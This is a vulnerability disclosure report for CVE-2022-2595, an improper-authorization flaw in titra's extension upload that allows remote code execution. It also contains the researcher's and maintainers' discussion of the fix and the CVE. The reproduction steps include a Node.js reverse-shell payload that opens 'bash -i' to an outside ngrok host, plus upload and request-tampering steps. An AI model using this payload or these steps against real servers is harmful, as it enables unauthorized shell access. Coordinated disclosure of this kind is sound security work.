RCE due to Improper Authorization in 'Add Extension' functionality in kromitgmbh/titra

0

Valid Reported on Jun 26th 2022

Description

The application does not properly implement authorization checks in the add extension functionality and allows a low-privileged user to upload extensions. Since no approval/verification is required to create an account in the application, any unauthenticated attacker can create a low-privileged account. Therefore an unauthenticated attacker can create a low-privileged account and use that account to upload a malicious extension to perform remote code execution.

Proof of Concept

The screen recording in the below link shows that a non-admin user is uploading a malicious extension using the add extension functionality and obtaining shell access to the server. The POC contains two screen recordings, one was performed in the docker environment that was set up locally and the other was performed in the application on app.titra.io. The extension file that was used is also provided in the link.

Steps to Reproduce

Create the extension. Create 'server.js' file containing the code that needs to be executed. The payload given below is used in the POC and provides shell access to the server. The application connects to the domain 0.tcp.in.ngrok.io on port 19488.

```
require('child_process').exec('bash -c "bash -i >& /dev/tcp/0.tcp.in.ngrok.io/19488 0>&
```

Create 'extension.json' containing the metadata of the extension. The payload given below is used in the POC.

```
 {
"name":"Test"
}
```

Create a zip file (extension.zip) containing both the files server.js and extension.json
Create an account in the application using the register functionality.
Login to the account and access '/admin' URL. Navigate to the 'Extensions' functionality.
Upload the extension.zip and make a note of the extensionId.
Start the netcat receiver in the IP address/domain that was specified in the payload.
Start the interception in the burp suite and execute the extension. (For some reason the extensionId is not being included in the request). Add the extensionId to the request and forward the request.
Obtain shell access.

Remediation.

Implement authorization checks on all admin functionalities to prevent low privileged users from accessing them.

Impact

This could allow attackers to execute unexpected, dangerous commands directly on the operating system. This also allows an attacker to perform lateral movement on the network where the server is hosted.

CVE
CVE-2022-2595
(Published)

Vulnerability Type
CWE-285: Improper Authorization

Severity
Critical (9.8)

Registry
Npm

Affected Version
titra: 0.79.0

Visibility
Public

Status

Fixed

Found by

Sivaraman Girisan

@hak2learn

unranked

This report was seen 571 times.

We are processing your report and will contact the **kromitgmbh/titra** team within 24 hours.
5 months ago

We have contacted a member of the **kromitgmbh/titra** team and are waiting to hear back
5 months ago

A **kromitgmbh/titra** maintainer validated this vulnerability 5 months ago

Sivaraman Girisan has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

A **kromitgmbh/titra** maintainer marked this as fixed in **0.79.1** with commit **fe8c3c** 5 months ago

The fix bounty has been dropped ✖

This vulnerability will not receive a CVE ✖

Sivaraman 5 months ago Researcher

@admin Can you assign CVE?

Jamie Slome 5 months ago Admin

We can proceed with a CVE if the maintainer is happy to do so 👍

@maintainer?

Sivaraman 5 months ago Researcher

@maintainer, is it okay for you if a CVE is assigned for this vulnerability?

A **kromitgmbh/titra** maintainer 4 months ago

yes you can assign a CVE!

Jamie Slome 4 months ago Admin

CVE assigned and should be published shortly 👍

> Sign in to join this conversation